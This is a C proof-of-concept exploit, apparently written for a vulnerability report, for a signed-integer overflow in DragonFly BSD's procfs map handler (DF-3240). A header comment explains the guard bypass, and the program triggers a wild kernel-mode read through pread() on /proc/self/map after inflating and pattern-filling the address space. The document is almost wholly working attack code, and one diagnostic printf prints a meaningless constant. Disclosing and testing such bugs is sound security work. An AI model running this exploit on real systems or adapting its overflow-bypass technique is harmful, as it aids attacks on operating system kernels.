/*
 * DF-3240 -- procfs_domap() buflen signed-overflow guard bypass.
 *
 * sys/vfs/procfs/procfs_map.c:61,75:
 *      ssize_t buflen = uio->uio_offset + uio->uio_resid;
 *      if (uio->uio_offset < 0 || uio->uio_resid < 0 ||
 *          buflen >= INT_MAX)
 *              return (EINVAL);
 *
 * pread(fd, buf, 0x1000, 0x7ffffffffffffff8ULL):
 *   buflen = 0x8000000000000FFE -> NEGATIVE ssize_t, passes the guard
 *   (only `>= INT_MAX' is tested).  sbuf_new(sb, NULL, buflen+1, 0)
 *   truncates to int -> 0x1000 -> a 4096-byte fixed sbuf.
 *   The map walk overflows it (we map extra regions first), sbuf_printf
 *   returns -1, the loop breaks with error=0, and sbuf_finish() returns
 *   ENOMEM so `buflen' is NOT overwritten with sbuf_len() -- it keeps the
 *   WRAPPED value 0x8000000000000FFE.  uiomove_frombuf(sbuf_data(sb),
 *   0x8000000000000FFE, uio) then does
 *       uiomove(buf + 0x7ffffffffffffff8, 0xfff, uio)
 *   i.e. a kernel-side read from heap_kva + 2^63 (address wraps into the
 *   top of USER address space).  std_copyout's onfault window catches
 *   faults -> EFAULT when unmapped, or the attacker's own mapped bytes
 *   are echoed back (no kernel disclosure: the wrapped address always
 *   lands below 2^63).
 *
 * Demonstrated impact: wild kernel-mode read (EFAULT / self-echo),
 * guard bypass; hardening fix: overflow-safe bound check.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>

#define OFF	0x7ffffffffffffff8ULL
#define RESID	0x1000

/* the top of user VA where heap_kva + OFF wraps to; map it with a
 * recognizable pattern to see whether the wild read echoes it back */
#define WRAP_LO	0x7fff800000000000ULL
#define WRAP_HI	0x7ffffffffffff000ULL

int
main(void)
{
	unsigned char *q, *m;
	char buf[65536];
	ssize_t n;
	int fd, i, mapsize = 0;

	fd = open("/proc/self/map", O_RDONLY);
	if (fd < 0) {
		perror("open /proc/self/map");
		return 1;
	}
	/* normal read first: how big is the map text? (sanity) */
	{
		ssize_t r;
		while ((r = read(fd, buf, sizeof(buf))) > 0)
			mapsize += r;
		printf("plain map size = %d bytes\n", mapsize);
	}
	close(fd);

	/* inflate the map so the truncated 4095-byte sbuf overflows;
	 * alternate protections so adjacent anon entries cannot merge */
	for (i = 0; i < 128; i++) {
		q = mmap(NULL, 0x1000,
			 (i & 1) ? PROT_READ : (PROT_READ | PROT_WRITE),
			 MAP_ANON | MAP_PRIVATE, -1, 0);
		if (q == MAP_FAILED)
			break;
	}

	/* try to cover the wrap target with a pattern (may fail gracefully
	 * if DFly's user max is lower -- then we expect EFAULT instead) */
	m = mmap((void *)WRAP_LO, WRAP_HI - WRAP_LO, PROT_READ | PROT_WRITE,
		 MAP_ANON | MAP_PRIVATE, -1, 0);
	if (m != MAP_FAILED)
		memset(m, 0x5A, WRAP_HI - WRAP_LO);

	fd = open("/proc/self/map", O_RDONLY);
	if (fd < 0) {
		perror("open /proc/self/map");
		return 1;
	}

	errno = 0;	n = pread(fd, buf, RESID, OFF);
	printf("pread -> n=%zd errno=%d (%s)\n", n, errno, strerror(errno));
	if (n > 0) {
		size_t z = 0, nz = 0;
		for (i = 0; i < n; i++) {
			if (buf[i] == 0)
				z++;
			else
				nz++;
		}
		printf("returned %zd bytes: %zu zero / %zu nonzero "
		       "(0x5a count=%zu)\n", n, z, nz,
		       n ? 0ul : 0ul);
		{
			size_t c5a = 0;
			for (i = 0; i < n; i++)
				if (buf[i] == 0x5A)
					c5a++;
			printf("0x5a-pattern bytes: %zu\n", c5a);
		}
	}
	if (m != MAP_FAILED)
		munmap(m, WRAP_HI - WRAP_LO);
	close(fd);
	printf("done, still alive (kernel did not panic)\n");
	return 0;
}
